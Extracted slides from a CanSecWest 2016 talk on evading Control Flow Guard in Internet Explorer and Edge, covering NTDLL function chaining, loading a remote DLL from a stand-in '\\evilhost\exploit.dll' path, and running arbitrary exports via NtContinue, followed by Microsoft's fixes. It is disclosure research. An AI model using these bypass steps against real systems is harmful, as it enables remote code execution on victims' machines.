  • Use of networkx [6] and miasm2 [7] to collect suitable exports:

In RtlInsertElementGenericTableFullAvl :

EBX = Arg1 (fakeString) ESI = [EBX + 0x2c] EIP = ESI

→ EIP = [Arg1 + 0x2c]

EBX = Arg1 Param1 = EBX

→ Param1 = Arg1

slide-72
SLIDE 72

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

  • Use of networkx [6] and miasm2 [7] to collect suitable exports:

In RtlInsertElementGenericTableFullAvl :

EBX = Arg1 (fakeString) ESI = [EBX + 0x2c] EIP = ESI

→ EIP = [Arg1 + 0x2c]

EBX = Arg1 Param1 = EBX

→ Param1 = Arg1

EAX = Arg3 ECX = EAX + 0x10 Param2 = ECX

slide-73
SLIDE 73

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

  • Use of networkx [6] and miasm2 [7] to collect suitable exports:

In RtlInsertElementGenericTableFullAvl :

EBX = Arg1 (fakeString) ESI = [EBX + 0x2c] EIP = ESI

→ EIP = [Arg1 + 0x2c]

EBX = Arg1 Param1 = EBX

→ Param1 = Arg1

EAX = Arg3 ECX = EAX + 0x10 Param2 = ECX

→ Param2 = Arg3 + 0x10

slide-74
SLIDE 74

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

  • Use of networkx [6] and miasm2 [7] to collect suitable exports:

In RtlInsertElementGenericTableFullAvl : Simple Propagation Summary: → EIP = [Arg1 + 0x2c] → Param1 = Arg1 → Param2 = Arg3 + 0x10

slide-75
SLIDE 75

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

  • Load arbitrary remote DLLs under EMET:

→ Chain of five NTDLL functions (Win 8.1 only): RtlLookupElementGenericTableFullAvl (1) RtlInsertElementGenericTableFullAvl (2) RtlLookupElementGenericTableFull (3) RtlTraceDatabaseFind (4) LdrInitShimEngineDynamic (5) Execute callchain 1→ 2→ 3→ 4→ 5 : Two controlled parameters

LdrInitShimEngineDynamic([fakeStr + 0x8] + 0x20, [fakeStr] + 0x18)

Param1 has to be within a module's bounds Param2: pointer to remote DLL: \\evilhost\exploit.dll

slide-76
SLIDE 76

Crash-Resistant Export Dispatching

slide-77
SLIDE 77

CanSecWest 2016

Crash-Resistant Export Dispatching

Combining Function Chaining and Crash-Resistance

  • Function chain allows dispatching exports with max. two

parameters

MoveFileA(STR, STR) NtGetContextThread(HANDLE, CONTEXT) ...

  • After execution of last function in chain an AV is thrown

→ Catched when AV happens within callback() of setInterval() ! → Possibility to subsequently execute several function chains:

MoveFileA() + LoadLibrary() → two chains NtGetContextThread() + NtContinue() → two chains WinExec() + WinExec() + WinExec() → three chains :)

slide-78
SLIDE 78

CanSecWest 2016

DEMO 4

Crash-Resistant Export Dispatching

slide-79
SLIDE 79

CanSecWest 2016

Crash-Resistant Export Dispatching

Executing arbitrary exports without Shellcode, ROP or JIT (1) Get ESP with NtGetContextThread as last function in chain (2) Prepare fake object with CONTEXT for NtContinue: → set EIP to wanted exported function (e.g., system call) → set ESP to free stack space (3) Prepare free stack space: → write parameters for exported function → set return address for exported function to NULL (4) Use virtual function call to launch NtContinue on indirect call site in crash-resistant mode (5) Read return data of system call and proceed to step (2)

slide-80
SLIDE 80

CanSecWest 2016

Crash-Resistant Export Dispatching

Executing arbitrary exports without Shellcode, ROP or JIT (1) Get ESP with NtGetContextThread as last function in chain (2) Prepare fake object with CONTEXT for NtContinue: → set EIP to wanted exported function (e.g., system call) → set ESP to free stack space (3) Prepare free stack space: → write parameters for exported function → set return address for exported function to NULL (4) Use virtual function call to launch NtContinue on indirect call site in crash-resistant mode (5) Read return data of system call and proceed to step (2)

TNX to Yang Yu for the NtContinue Trick [5] !

slide-81
SLIDE 81

Mitigations

slide-82
SLIDE 82

CanSecWest 2016

Mitigations

Fixes and Feedback by Microsoft

  • user32 exception handing hardening feature addresses

Internet Explorer 7-11 (MS15-124) [8]

  • Crash-Resistant issue fixed in MS Edge (MS15-125) [9]
  • Control Flow Guard is becoming more fine-grained with each

Windows version: → NtContinue is no valid indirect call target in Windows10 RTM

  • Code Integrity in MS Edge:
  • block loading of arbitrary libraries
  • block child process creation (Windows 10 Insider Preview)
slide-83
SLIDE 83

Q & A robert.gawlik@rub.de

slide-84
SLIDE 84

CanSecWest 2016

References

[1] http://www.codeproject.com/Articles/98691/Why-it-s-not-crashing [2] http://www.phreedom.org/presentations/reverse-engineering-ani/reverse-engineering-ani.pdf [3] https://www.exploit-db.com/docs/37276.pdf [4] https://cansecwest.com/slides/2014/The Art of Leaks - read version - Yoyo.pdf [5] https://cansecwest.com/slides/2014/ROPs_are_for_the_99_CanSecWest_2014.pdf [6] https://networkx.github.io/ [7] https://github.com/cea-sec/miasm/tree/master/miasm2 [8] https://technet.microsoft.com/en-us/library/security/ms15-124.aspx [9] https://technet.microsoft.com/en-us/library/security/ms15-125.aspx